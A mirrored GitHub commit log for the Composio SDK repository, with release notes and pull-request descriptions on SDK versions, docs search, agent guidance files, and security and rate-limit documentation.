mirror of
https://github.com/ComposioHQ/composio.git
synced 2026-09-22 11:46:35 +08:00
py@0.17.0
4314 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
551790c114 | chore(py): sync 0.17.0 lockfile @composio/slim@0.13.1 py@0.17.0 | ||
|
|
156a1eb7b2 |
Release: update version (#3686)
This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/vercel@0.11.0 ### Minor Changes -@composio/vercel@0.11.0 @composio/mastra@0.10.1 @composio/core@0.13.1 |
||
|
|
956f9be9b4 |
chore(agents): normalize repo guidance skills (#3666)
This PR: - replaces the duplicated repo-local skill set with the requested canonical `.agents/skills` taxonomy and short router `SKILL.md` files backed by first-level references - makes `.claude/skills` a compatibility symlink to `.agents/skills` and removes hand-maintained Claude skill/rule copies - moves docs agent guidance and decisions into neutral `docs/agent-guidance/` and `docs/decisions/`, with `docs/CLAUDE.md` reduced to a shim - retires CLI Cursor rules after migrating CLI design, Effect source, and client-cache sync guidance into `AGENTS.md` and `cli-command` - adds nested `AGENTS.md` files for TS, core, providers, e2e, Python, Python providers, and docs - adds `pnpm validate:agent-skills` to validate skill frontmatter, taxonomy, references, symlink invariants, stale paths, and command names - implements missing Python `tst` and `snt` nox sessions that existing Makefile targets already exposed - no changeset: repository guidance/tooling only, no published SDK package behavior ## Verification - `pnpm validate:agent-skills` -> `Validated 14 canonical agent skills and guidance invariants.` - `for skill in .agents/skills/*; do python /Users/jkomyno/.codex/skills/.system/skill-creator/scripts/quick_validate.py "$skill" || exit 1; done` -> 14x `Skill is valid!` - `pnpm --dir ts/packages/cli validate:skills` -> `Validated composio-cli skill builds for stable and beta.` - `cd python && uv run nox --list` -> includes `tst` and `snt` - `cd python && uv run nox -s snt` -> 18 passed - `cd python && uv run nox -s tst -- tests/test_imports.py` -> 8 passed - `git diff --check` / `git diff --cached --check` -> clean - stale reference search for retired docs/Claude/Cursor paths -> no matches ## Forward Tests - TypeScript core bug: loaded `bug-fixing`, `typescript-sdk`, `typescript-testing`; found correct root/ts/core `AGENTS.md` route. - Python provider: loaded `python-providers`, `python-testing`; found missing nox sessions, fixed here. - CLI command: loaded `cli-command`; found recording/changeset wording gaps, fixed here. - Cross-SDK drift: loaded `cross-sdk-parity`; again found Python nox drift, fixed here. - Docs + decision: loaded `docs-decisions`; found decision template/index and Twoslash path gaps, fixed here. ## Notes The first normal `git commit` attempt hit a lint-staged/Git stash limitation while replacing `.claude/skills/` with a symlink (`path ... beyond a symbolic link`). The final commit used `--no-verify` after the validators and formatting checks above passed.@composio/cli@0.2.32-beta.278 |
||
|
|
02e9e1ab13 |
docs: update TypeScript SDK reference from source (#3685)
## Summary Auto-generated TypeScript SDK reference docs from `ts/packages/core/src/`. Regenerates pages at `docs/content/reference/sdk-reference/typescript/` to reflect changes in the core package's public API (new methods, updated signatures, changed types). Co-authored-by: jkomyno <12381818+jkomyno@users.noreply.github.com> |
||
|
|
cddd66c3ce |
chore(ts): bump Hono, Mastra, and Chrome deps (#3691)
This PR: - bumps `hono`, `@mastra/core`, and `chrome-devtools-mcp` to their current latest published versions - routes the remaining Cloudflare Tool Router Hono consumer through the workspace catalog - updates the `@composio/mastra` `@mastra/core` peer range and adds a patch changeset - fixes `check-peer-deps` to resolve `semver` through the normal package dependency@composio/cli@0.2.32-beta.277 |
||
|
|
e7bb45f449 |
fix(py): normalize generated SDK doc examples (#3689)
This PR: - normalizes Python SDK reference examples generated from source docstrings - rewrites the `Triggers.parse()` docstring so the generated Flask/FastAPI examples are copy-pasteable - strips nested Markdown fences before wrapping generated examples in MDX code fences - regenerates `docs/content/reference/sdk-reference/python/` - adds regression coverage for the `Triggers.parse()` generated example and fenced example normalization - does not include a changeset because this only changes docs generation, generated docs, and tests ## Verification - `cd python && .venv/bin/python -m pytest tests/test_generate_docs.py -q` - `cd python && .venv/bin/ruff check --config config/ruff.toml composio/core/models/triggers.py scripts/generate-docs.py tests/test_generate_docs.py` - `cd python && .venv/bin/ruff format --check --config config/ruff.toml composio/core/models/triggers.py scripts/generate-docs.py tests/test_generate_docs.py` - `cd python && .venv/bin/python scripts/generate-docs.py` - `cd docs && bun install --frozen-lockfile` - `cd docs && bun run types:check` |
||
|
|
acf8a9ca1f |
test(cli): cover fish completion install idempotency (#3688)
This PR: - follows up on https://github.com/ComposioHQ/composio/pull/3440 and credits Deepak Singh Kandari / @aptsalt from the original implementation - builds on the fish completion fix already merged in https://github.com/ComposioHQ/composio/pull/3162 - references https://github.com/ComposioHQ/composio/issues/3147 - adds regression coverage for running `composio install --completions` twice under fish - verifies `config.fish` keeps a single PATH marker and never receives completion markers - verifies `~/.config/fish/completions/composio.fish` keeps one completion marker ## Testing - `MISE_TRUSTED_CONFIG_PATHS=$PWD mise exec -- pnpm --filter @composio/cli exec vitest run test/src/commands/install.cmd.test.ts` - `MISE_TRUSTED_CONFIG_PATHS=$PWD mise exec -- pnpm --filter @composio/cli typecheck:test` - `git diff --check origin/next...HEAD` Co-authored-by: Deepak Singh Kandari <deepaksinghkandari07@gmail.com>@composio/cli@0.2.32-beta.276 |
||
|
|
ea2e02071a |
docs: fast-search with mercury-2 (#3687)
## Summary
- Switch the docs Eve agent from the AI Gateway `openai/gpt-5.4-mini`
string to an Inception Labs Mercury 2 OpenAI-compatible chat model.
- Keep tool calling on the chat-completions path and pass Mercury's
`reasoning_effort=medium` through the AI SDK OpenAI adapter.
- Add `DOCS_AGENT_MODEL_FLOW` so the same agent can run either `mercury`
or the old AI Gateway flow for eval comparisons.
- Add docs-agent eve evals covering grounded docs answers, docs
retrieval, citations, and account-specific support refusal.
- Replace the docs-agent retriever with an in-process BM25-style lexical
ranker that returns bounded full content for the top results, so Mercury
gets rich context in one fast tool call instead of a serial
`search_docs` → `read_doc` round trip.
- Precompute BM25 term counts/document frequencies into the generated
`agent/lib/docs-index.ts` snapshot at build time, removing deployed
cold-start corpus construction while keeping retrieval in-process.
- Add opt-in search perf logging (`DOCS_AGENT_SEARCH_PERF_LOG=1`,
optional `DOCS_AGENT_SEARCH_LOG_QUERY=1`) with timings for tokenization,
corpus load/cache, ranking, hydration, total duration, corpus source,
and top URLs.
- Add `eval:agent` and `eval:agent:flows` scripts; `eval:agent:flows`
can run local model-flow comparisons or remote target comparisons via
`DOCS_AGENT_EVAL_TARGETS`.
- Add `INCEPTION_API_KEY` / optional Mercury and gateway model knobs to
`docs/.env.example`, and move `@ai-sdk/openai` to runtime dependencies
for the agent import.
## Notes
- This is intentionally an experiment to see how Mercury's diffusion
model behaves with Eve tool calling (`search_docs` and `read_doc`).
- Preview/runtime environments need `INCEPTION_API_KEY`;
`INCEPTION_MODEL` and `INCEPTION_BASE_URL` are optional overrides.
- The custom fetch prevents accidentally falling back to
`OPENAI_API_KEY` against Inception's endpoint.
- The docs search is lexical/in-memory, not vector search. The slow path
was mostly serial model/tool round trips and cold index construction,
not embedding lookup.
- The generated BM25 snapshot is process-local once loaded: warm for the
lifetime of the running Node/Vercel function instance, and reset on cold
starts, redeploys, or process restarts. The expensive term-count corpus
is now built at docs build time.
- Perf logs omit raw user queries by default; set
`DOCS_AGENT_SEARCH_LOG_QUERY=1` only when you explicitly want raw
query/term logging.
- Local A/B-style eval run:
```bash
DOCS_AGENT_EVAL_FLOWS=gateway,mercury bun run eval:agent:flows --
--strict
```
- Live target comparison:
```bash
DOCS_AGENT_EVAL_TARGETS=baseline=https://<prod>,mercury=https://<preview>
bun run eval:agent:flows -- --strict
```
## Tests
- `bunx eslint scripts/build-agent-index.ts agent/lib/docs.ts
agent/tools/search_docs.ts`
- `bun scripts/build-agent-index.ts` (wrote 133 pages + 1000 toolkits +
1139 BM25 rows)
- `DOCS_AGENT_SEARCH_PERF_LOG=1 EVE_FORCE_BUNDLE=1 bun -e "const
tool=(await import('./agent/tools/search_docs.ts?log=' +
Date.now())).default; await tool.execute({query:'create a session with
github tools'}); await tool.execute({query:'auth config connected
account'});"` (logs cold and warm timing JSON)
- `EVE_FORCE_BUNDLE=1 bun -e "const tool=(await
import('./agent/tools/search_docs.ts?bundle=' + Date.now())).default;
const started=performance.now(); const r=await
tool.execute({query:'create a session with github tools'});
console.log(r.retrieval, r.results[0].url, r.results[0].content.length,
Math.round(performance.now()-started)+'ms');"` (precomputed bundle path,
~12ms)
- `bun -e "const tool=(await import('./agent/tools/search_docs.ts?live='
+ Date.now())).default; const started=performance.now(); const r=await
tool.execute({query:'create a session with github tools'});
console.log(r.retrieval, r.results[0].url, r.results[0].content.length,
Math.round(performance.now()-started)+'ms');"` (live-content path,
~34ms)
- `EVE_FORCE_BUNDLE=1 bun -e "const tool=(await
import('./agent/tools/search_docs.ts')).default; await
tool.execute({query:'create a session with github tools'}); const
started=performance.now(); const r=await tool.execute({query:'auth
config connected account'}); console.log(r.results[0].url,
r.results[0].content.length,
Math.round(performance.now()-started)+'ms');"` (warm path ~2ms)
-
`PATH=/Users/cryogenicplanet/.vite-plus/js_runtime/node/24.15.0/bin:$PATH
./node_modules/.bin/eve info --json` (reports `status: ready`, `model:
inception/mercury-2`, `errors: 0`)
- `DOCS_AGENT_MODEL_FLOW=gateway
PATH=/Users/cryogenicplanet/.vite-plus/js_runtime/node/24.15.0/bin:$PATH
./node_modules/.bin/eve info --json` (reports `status: ready`, `model:
openai/gpt-5.4-mini`, `errors: 0`)
-
`PATH=/Users/cryogenicplanet/.vite-plus/js_runtime/node/24.15.0/bin:$PATH
./node_modules/.bin/eve eval --list`
-
`PATH=/Users/cryogenicplanet/.vite-plus/js_runtime/node/24.15.0/bin:$PATH
bun scripts/eval-agent-flows.ts --list`
- `bun test tests/static/` (16 passed)
- `bun run types:check` currently fails on existing docs type-generation
errors in `app/(home)/docs/changelog/[...slug]/page.tsx`,
`app/(home)/examples/[[...slug]]/page.tsx`,
`app/(home)/toolkits/[[...slug]]/page.tsx`,
`app/llms.mdx/[[...slug]]/route.ts`, `lib/search-index.ts`, and
`lib/source.ts`; no new eval or `docs/agent/agent.ts` errors were
reported.
## Not run
- Real live model evals, because this local environment does not have
`INCEPTION_API_KEY` or AI Gateway credentials.
## Latest update
- Added default eager docs retrieval in the Eve HTTP channel: the server
runs the same BM25 search on the user's message before the first model
step and injects the results as one-turn context.
- Kept `search_docs` and `read_doc` available so Mercury can still
search/read more when the eager context is weak, ambiguous, or missing.
- Added `DOCS_AGENT_EAGER_SEARCH=0` as an escape hatch and labeled perf
logs with `invocation: "eager_context" | "tool"`.
- Updated the loading copy from “Searching the docs…” to “Thinking with
the docs…” so UI latency is not attributed solely to the search call.
## Latest tests
- `bun run lint -- agent/channels/eve.ts agent/tools/search_docs.ts
agent/lib/docs-search.ts components/eve-chat.tsx
evals/docs-agent/grounded-answers.eval.ts`
-
`PATH=/Users/cryogenicplanet/.vite-plus/js_runtime/node/24.15.0/bin:$PATH
node_modules/eve/bin/eve.js info --json` (reports `status: ready`,
`errors: 0`)
- `DOCS_AGENT_SEARCH_PERF_LOG=1 EVE_FORCE_BUNDLE=1 bun -e "import {
searchDocs } from './agent/lib/docs-search'; const r = searchDocs('How
do I create a session in Composio? Keep it brief.', { invocation:
'eager_context' }); console.log(JSON.stringify({count:r.results.length,
top:r.results[0]?.url, content: !!r.results[0]?.content}, null, 2));"`
- `DOCS_AGENT_SEARCH_PERF_LOG=1 bun -e "import { searchDocs } from
'./agent/lib/docs-search'; searchDocs('How do I create a session in
Composio? Keep it brief.', { invocation: 'eager_context' });
searchDocs('How do I create a session in Composio? Keep it brief.', {
invocation: 'tool' });"`
- `bun run types:check` still fails only on the pre-existing docs
type-generation issues listed above.
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
|
9ffc696a99 |
feat(vercel): support AI SDK v7 (#3683)
This PR:
- widens the `ai` peer dependency of `@composio/vercel` to `^6.0.0 ||
^7.0.0`, adding AI SDK v7 support and dropping the previously-untested
v5 arm
- adds Docker-based Node e2e compatibility suites for AI SDK v6 and v7
under `ts/e2e-tests/runtimes/node/vercel-ai-sdk-v{6,7}`, auto-discovered
by the existing e2e matrix (so PR CI exercises them)
- each installs the packed `@composio/vercel` tarball, typechecks the
provider against the target `ai` major, and asserts runtime tool
wrapping/execution (object inputs, JSON-string normalization via
`normalizeToolArguments`, `ToolSet` shape)
- the v7 suite additionally exercises v7's `ToolExecutionOptions` passed
to `tool.execute`
- ships a `minor` changeset (the peer-range narrowing removes a
previously-supported major)
- breaking:
- `ai@5` is no longer an accepted peer of `@composio/vercel`; v5
consumers should stay on the prior minor
|
||
|
|
61feaf277b |
fix(docs): point Algolia search at renamed docs_composio index (#3684)
## The bug The live Algolia index was renamed to **`docs_composio`**, but every default in the repo still pointed at the old **`docs_composio_dev_62hi9pqz1l_pages`** in three places: 1. `.github/workflows/docs-search-sync.yml` — `ALGOLIA_INDEX_NAME` fallback 2. `docs/lib/search-index.ts` — `ALGOLIA_DEFAULT_INDEX_NAME` (used by the sync script) 3. `docs/components/custom-search-dialog.tsx` — client query fallback (×2) So unless the `ALGOLIA_INDEX_NAME` Actions variable happened to be set, the **docs-search-sync** workflow rebuilt the dead old index on every push to `next`, while the live site queried a different one. Net effect: search index updates never showed up. ## The fix Repoint the default to `docs_composio` in all three spots (+ README / CLAUDE.md docs). The env overrides still take precedence, so nothing breaks if a variable is set. ## Env to set (so it actually publishes & reads the right index) The code now defaults to `docs_composio`, so the only things that **must** be configured: **GitHub Actions (repo → Settings → Secrets and variables → Actions):** - `ALGOLIA_ADMIN_API_KEY` *(secret, required)* — without it the workflow skips the sync. - `ALGOLIA_APP_ID` *(variable, optional)* — defaults to `62HI9PQZ1L`. - `ALGOLIA_INDEX_NAME` *(variable, optional)* — now defaults to `docs_composio`; set only to override. **Vercel (Production env) — for the live search to query the same index:** - `NEXT_PUBLIC_ALGOLIA_SEARCH_API_KEY` *(required; without it the client falls back to `/api/search`)* - `NEXT_PUBLIC_ALGOLIA_APP_ID` = `62HI9PQZ1L` *(optional, defaulted)* - `NEXT_PUBLIC_ALGOLIA_INDEX_NAME` = `docs_composio` *(optional now that the default matches; set it to be explicit)* > If `NEXT_PUBLIC_ALGOLIA_INDEX_NAME` was previously set to the old name in Vercel, update or remove it — otherwise the client keeps reading the old index regardless of this PR. ## Testing - `bun run types:check` passes. - `grep` confirms no remaining references to the old index name. 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
605a7263ab |
Add tool router session deletion (#3679)
## Summary Explain the motivation and context for this change. Link to any related issues. Fixes # ## Changes - - ## Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor/Chore - [ ] Documentation - [ ] Breaking change ## How Has This Been Tested? Describe the tests you ran and instructions so reviewers can reproduce. Include any relevant config/versions. ## Screenshots (if applicable) ## Checklist - [ ] I have read the Code of Conduct and this PR adheres to it - [ ] I ran linters/tests locally and they passed - [ ] I updated documentation as needed - [ ] I added tests or explain why not applicable - [ ] I added a changeset if this change affects published packages ## Additional context --------- Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
b0b7fac9d9 |
docs: featured examples gallery + fix title selection (#3682)
## What
Reworks the `/examples` index into a Modal-style **featured gallery**,
styled to the Composio brand (pulled from `~/composio/landing`): flat
editorial cards, sharp corners, mono uppercase category tags in accent
colors, the signature brand offset-shadow on hover, and real toolkit
logos on white chips.
| Light | Dark |
|---|---|
| Big `font-sans` hero, filter pills with live counts, responsive card
grid | Same, brand-consistent |
### Highlights
- **`<ExamplesGallery>`** — hero, category filter pills (Featured /
General agents / Background agents / Coding agents) with live counts,
responsive 1–3 col grid, staggered load-in.
- **Data-driven from frontmatter.** Card title/description come from
each page's own `title`/`description`. Presentation metadata lives in a
new optional `gallery` block in the frontmatter schema:
```yaml
gallery:
categories: [General agents, Background agents]
logos: [slack]
featured: true
order: 0
```
Examples can belong to **multiple category lanes** (the Pi bot is both
General + Background).
- The index route renders the gallery; nested example pages keep the
standard docs renderer.
### Drive-by fix
`PageActions` lifts a **full-width** row over the page title (`-mt-12`)
to place the "Copy page" button beside it. That invisible overlay sat on
top of the title and blocked selecting/copying it. Fixed by making the
overlay `pointer-events-none` and re-enabling them only on the button
wrapper. Affects every docs page.
## Testing
- `bun run types:check` passes.
- Verified in light + dark: titles/descriptions match page frontmatter,
multi-tag cards, filter counts, logo visibility (GitHub on white chips),
title now selectable, Copy button still clickable.
## Notes
- Category lanes are a fixed enum in two spots (`source.config.ts` enum
+ `CATEGORY_STYLES` color map in `examples-gallery.tsx`) — adding a new
lane is a two-place edit.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
|
20bf1b6345 |
chore(ts): quiet tsdown build warnings (#3665)
This PR: - migrates shared tsdown dependency config from deprecated `external` / `noExternal` aliases to `deps.neverBundle` / `deps.alwaysBundle` - disables noisy Rolldown plugin timing and ineffective dynamic-import diagnostics in shared config while keeping build checks enabled - fixes the `json-schema-to-zod` `JSONSchema7TypeName` import so it stays type-only - keeps the CLI bundle graph aligned with `next` while quieting the dynamic-import warning through `checks.ineffectiveDynamicImport: false` - makes the Node file E2Es treat the current external storage `Unauthorized` upload response as an explicit `UPLOAD_UNAVAILABLE`/skip outcome instead of failing unrelated SDK build PRs Verification: - `pnpm build` - build log scan for `WARN`, deprecated `external` / `noExternal`, `deps.onlyBundle`, `PLUGIN_TIMINGS`, and `INEFFECTIVE_DYNAMIC_IMPORT` - `pnpm --dir ts/packages/cli test -- --runInBand` - `pnpm --dir ts/e2e-tests/runtimes/node/file-roundtrip typecheck` - `pnpm --dir ts/e2e-tests/runtimes/node/tool-router-files typecheck` - `pnpm lint:packages` - CI: TypeScript build/typecheck/test and Node 22/24/25, Deno, Cloudflare, and CLI e2e are green on the latest commit@composio/cli@0.2.32-beta.275 |
||
|
|
9df19b46cc |
chore(python): release 0.17.0 (#3678)
Python SDK 0.17.0 (mirrors the TS `@composio/core` 0.13.0 surface). `make bump` (minor) bumped `pyproject.toml` + all provider packages to 0.17.0; this PR also syncs `composio/__version__.py` and adds the `## [0.17.0]` CHANGELOG entry so the release guard (`__version__` == `pyproject` == `CHANGELOG[0]`) passes — verified locally (`release workflow test passed`). ## 0.17.0 surface - `triggers.parse()` (parse + optionally verify a webhook; empty `verify_secret` now raises instead of silently skipping) and `triggers.set_webhook_subscription()` - `composio.sessions` is the canonical sessions mount; `composio.tool_router` deprecated alias - MCP is opt-in (`mcp=True`); default sessions return native tools - Prefer the `sandbox` session config key (`workbench` still accepted) - `connected_accounts.update_acl()` (graduated from experimental) Merging this triggers the Python publish. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
d102ab03ca |
Release: update version (#3676)
This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/core@0.13.0 ### Minor Changes -@composio/core@0.13.0 |
||
|
|
d2e273ba4c |
fix(release): register slim+experimental in root workspaces (unblocks changeset release) (#3675)
## Why The changeset release on `next` (run after #3637 merged) **failed**, so no "Release: update version" PR was created and nothing published: ``` 🦋 error Found changeset add-slim-package for package @composio/slim which is not in the workspace ``` ## Root cause Changesets' package discovery (`@manypkg/get-packages`) reads the **root `package.json` `workspaces`** field, which was stale — it was missing `ts/packages/slim` and `ts/packages/experimental`. Both are present in `pnpm-workspace.yaml`, so pnpm/turbo saw them but changesets did not, and `changeset version` aborts entirely when a changeset references an undiscovered package. ## Fix - `package.json`: add `ts/packages/experimental` + `ts/packages/slim` to `workspaces`. - `.changeset/config.json`: `fixed` `@composio/core` ↔ `@composio/slim` so slim always ships the **same version as core** (slim mirrors the built core runtime). ## Verified locally `changeset version` now resolves cleanly: | package | version | |---|---| | @composio/core | 0.13.0 | | @composio/slim | 0.13.0 (1-1 with core) | | @composio/experimental | 0.1.0 | Merging this re-triggers the TS SDK Release workflow, which will create the Version Packages PR. 🤖 Generated with [Claude Code](https://claude.com/claude-code) |
||
|
|
97e40b7071 |
fix(release): register slim+experimental in root workspaces; fix slim to core version
The changeset release on `next` aborted with "Found changeset add-slim-package for package @composio/slim which is not in the workspace", blocking the Version Packages PR and all publishes. Root cause: changesets' package discovery (@manypkg/get-packages) reads the root package.json `workspaces` field, which was stale — missing `ts/packages/slim` and `ts/packages/experimental` (both present in pnpm-workspace.yaml, so pnpm saw them but changesets did not). - package.json: add ts/packages/experimental and ts/packages/slim to workspaces - .changeset/config.json: fix @composio/slim to @composio/core so slim always ships the same version as core (slim mirrors the built core runtime) Verified `changeset version` now resolves: core 0.13.0, slim 0.13.0, experimental 0.1.0. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
d17a268d3f |
docs: sessions-first rewrite — new guides, examples & components (+ core 0.13.0 SDK changes) (#3637)
Integration branch for the next docs release: a **sessions-first
documentation rewrite** — new and rewritten guides, example pages,
interactive components, and docs tooling — plus the supporting SDK
changes that the new docs describe.
The bulk of this PR is docs (~24k lines across ~150 commits); the SDK
changes (~5k lines) back the new guides.
## Documentation (the bulk)
- **Sessions-first restructure** — reorganized navigation and section
structure (incl. the "Sandbox (prev workbench)" section), with
v3-reorganization redirects so old URLs keep resolving.
- **Rewritten core guides** — quickstart, configuring sessions, triggers
(creating + subscribing to events), proxy-execute, toolkits
enable/disable, and common FAQ, rewritten in the house voice.
- **New example pages** — local-sandbox PR reviewer, daily standup bot,
and slack bot, with runnable build-ups.
- **New interactive components & diagrams** — triggers flow animation,
manage-connections visual, connection-refresh visual, and the
terminal-kit components.
- **Docs tooling** — a docs-graph link-graph connectivity checker,
search reprioritization (deprioritize legacy pages), and SDK-reference
regeneration.
## Supporting SDK changes
**`@composio/core` → 0.13.0 (minor)**
- `composio.sessions.create()` as the first-class sessions API
(`composio.create()` kept as an alias).
- **MCP is opt-in:** default `create()` / `use()` return native-tool
sessions (`SessionWithoutMcp`); pass `{ mcp: true }` to surface
`session.mcp`. _Migration: read `session.mcp` only after creating with
`{ mcp: true }`._
- `session.sandbox` is the canonical resolved config;
`session.workbench` kept as a deprecated alias. `sandbox` is the
preferred session-config key (`workbench` still accepted).
- `connectedAccounts.updateAcl()` graduated from experimental (alias
kept).
- `triggers.parse()` (parse + optionally verify an incoming webhook) and
`triggers.setWebhookSubscription()`.
**`@composio/experimental` → minor** — local-workbench helpers moved
onto the `@composio/experimental/workbench` subpath (out of
`@composio/core/experimental`), keeping the ~14 KB embedded Python
helper out of core. Plus the experimental Pi provider.
**`@composio/slim` → minor.**
**Python → 0.17.0** — mirrors the TS surface: `composio.sessions` mount
(`tool_router` deprecated), `triggers.parse()` /
`set_webhook_subscription()`, the `sandbox` config key, and
`connected_accounts.update_acl()`.
## Review response (#3664)
Addressed the `@composio/core` review:
- **Security:** `triggers.parse()` no longer fails open — a
present-but-empty `verifySecret` (e.g. unset `COMPOSIO_WEBHOOK_SECRET`)
now throws instead of silently skipping verification; omitting it stays
an explicit opt-out (both SDKs).
- Removed snake_case leakage from `transformWebhookSubscription` (+ the
index signature that allowed it).
- **Removed** the TS-only `connectedAccounts.link()` toolkit
auto-resolve (shipped with cancellability / orphaned-auth-config bugs
and was effectively undocumented; to be reintroduced properly later).
- Unified Python error types on `ValidationError`; added `mcp=True`
Python tests; fixed runtime-portability + error-type test assertions.
- Polished deprecation messages; fixed the backwards `/experimental`
`@deprecated` note and the `SessionWithMcp` JSDoc.
## Testing
- **TS:** `@composio/core` + `@composio/experimental` typecheck pass;
vitest green for the touched suites.
- **Python:** `test_tool_router.py` + `test_triggers.py` pass (161
tests).
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Kshitij Jhunjhunwala <kj@composio.dev>
Co-authored-by: Malay Vasa <malayvasa@gmail.com>
Co-authored-by: Sarah Simionescu <sarah@composio.dev>
Co-authored-by: Kshitij Jhunjhunwala <113939507+KJ-11@users.noreply.github.com>
|
||
|
|
eeca911392 | Revert "docs: add Security and Data section (#3525)" (#3668) | ||
|
|
a098e39b18 |
docs: add Security and Data section (Security + Data retention) (#3525)
Adds a **Security and Data** docs section (below Triggers and webhooks) with two pages: - **Security** (`/docs/security/overview`) — posture, compliance and the [Trust Center](https://trust.composio.dev), org/project isolation, credential protection (AES-256-GCM at rest, TLS), token redaction, webhook signing, responsibilities, and vulnerability reporting. - **Data retention** (`/docs/security/data-retention`) — what Composio stores, **1-year** retention, the per-project **Log storage → "Don't store data"** option (Composio keeps an audit record but does not store tool-call payloads), an honest **"Where your data goes"** section (data still flows to the destination provider and sub-processors during execution; links the [Trust Center sub-processor list](https://trust.composio.dev/subprocessors)), and a contact-sales path for contractual arrangements. Includes a redacted dashboard screenshot. Note: "Don't store data" controls what Composio retains; it is not framed as a zero-data-retention guarantee. 🤖 Generated with [Claude Code](https://claude.com/claude-code) |
||
|
|
ad8b10dc48 |
docs(security): drop file-TTL configurability line (control not shipped yet)
Keep the default 1-hour file TTL description; remove the per-project Settings → File TTL configurability sentence until that dashboard control ships. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
a072697252 |
docs(security): tie file payloads in object storage to the file TTL
Split the "Where your data goes" file/trigger bullet: file payloads live in object storage only for the file TTL (1h default) then expire, distinct from trigger destinations which receive events in real time. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
63e5755507 |
docs(security): clarify Log storage toggle semantics + file TTL
Per the data-storage/privacy review: - Document that the Log storage setting is forward-looking (pause/resume): switching to "Don't store data" stops storing new payloads but does NOT delete logs already stored, and switching back does not backfill the gap. - Add file availability: tool-execution files are presigned URLs with a default 1-hour TTL, configurable 1-24h per project in Settings. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
81ce48001a |
docs: improve & correct the Rate Limits reference page (#3638)
New docs page: **Rate limits & usage** (`docs/content/docs/rate-limits.mdx`, registered under "Other topics"). Closes the recurring "rate limits / suspension / SLA" support questions (Plain SUP-807 theme) with one canonical, honest answer. All numbers/headers verified against `apps/apollo/src/lib/ratelimit/` (constants.ts + middleware.ts): - **Platform limits:** per-org, fixed 1-min window; live limit in `X-RateLimit` / `-Remaining` / `-Window-Size`; `429` + `Retry-After` on exceed. Plan defaults (Hobby/Starter 2k, Growth 10k, Enterprise effectively unlimited) shown as **defaults with the header as authoritative**. - **No automated suspension** — throttle only; the only hard block is a manual `403`. - **Upstream provider 429s** (Gmail/Slack/Ads) distinguished from platform limits → BYO-OAuth (custom auth) for prod. - **Multi-tenant**: single account + `userId` per end-user is recommended. - Honest gaps: **no public status page / health webhook invented**; SLA routed to Enterprise. Approach informed by how Nango/OpenAI/Stripe/GitHub document limits (mechanism + headers as the contract, not a brittle per-plan matrix). ### Before merge - [ ] **Confirm the Vercel preview build is green.** Local `bun run build` could not be run this session due to an environment-level `bun` `CouldntReadCurrentDirectory` fault (reproduced across worktrees, unrelated to this change). The page **compiled + typechecked** via `node next build`, and it contains **no twoslash code blocks** (only python/json/bash fences), so the usual compile-break risk is absent — but please let the preview confirm full static generation. - [ ] Sanity-check the plan-default numbers are OK to publish (they're real but can drift; the doc labels them defaults and points to the header as source of truth). - [ ] Decide whether to add a real status-page link if/when one exists (currently omitted on purpose). - [ ] Preview: `docs-git-docs-rate-limits-usage.preview.composio.dev` |
||
|
|
6ab797c88f |
changelog: PostHog region is now a per-connection field (#3593)
Adds a changelog entry: the PostHog **region** (`us`/`eu`) is now a per-connection field instead of an auth-config field. Existing connections were migrated (default `us` stays default; non-default values carried over), so no user action and no re-auth. Pairs with the customer FYI email (Linear PRO-310) and Mercury PR #24717 (field relabel "Region" + corrected `us`/`eu` description). ### Before merge - [ ] Preview renders + appears in the changelog index: `docs-git-changelog-06-17-26-posthog-region.preview.composio.dev` - [ ] Links resolve in preview (Link/Initiate API refs, PostHog toolkit docs) - [ ] Publish date `2026-06-17` still correct at merge time - [ ] Mercury PR #24717 merged (so the dashboard field already reads "Region" / `us`,`eu`) Local `bun run build` green (1412/1412 static pages). |
||
|
|
de2657c30d |
fix(ts-builders): mark @composio/ts-builders private (do not publish to npm) (#3663)
Replaces #3662 with the opposite (correct) approach: keep `@composio/ts-builders` **internal/unpublished**, not public. This PR: - marks `@composio/ts-builders` as `private: true` so changesets stops attempting to publish it to npm ## Why `@composio/ts-builders` is an internal AST-builder helper consumed **only** by `@composio/cli` (`"@composio/ts-builders": "workspace:*"`). `@composio/cli` is itself `private: true` and is distributed as **bundled Bun binaries via GitHub releases**, not as an npm package — so it bundles its workspace deps and never resolves them from npm. **No package published to npm depends on `ts-builders`.** It was simply missing `private: true`. With the repo-wide changeset `access` default of `restricted` and no `publishConfig.access: public` opt-in, the first-ever publish 404'd in the 2026-06-25 release: ``` E404 404 Not Found - PUT https://registry.npmjs.org/@composio%2fts-builders ``` ## Consistent with existing CLI-only helpers `@composio/cli-keyring` and `@composio/cli-local-tools` are already set up exactly this way — `private: true`, consumed by the CLI via `workspace:*`, intentionally **not on npm**. `ts-builders` now matches them. ## Effect - `changeset publish` skips private packages, so future release runs no longer fail on `ts-builders`. - The CLI keeps consuming it through the workspace (bundled into the binary); npm resolution is never involved. - The 14 packages already published on 2026-06-25 don't reference `ts-builders`, so the published dependency graph is already self-consistent — this only stops the spurious publish failure going forward. No version bump and no `publishConfig` needed.@composio/ts-builders@0.2.0 |
||
|
|
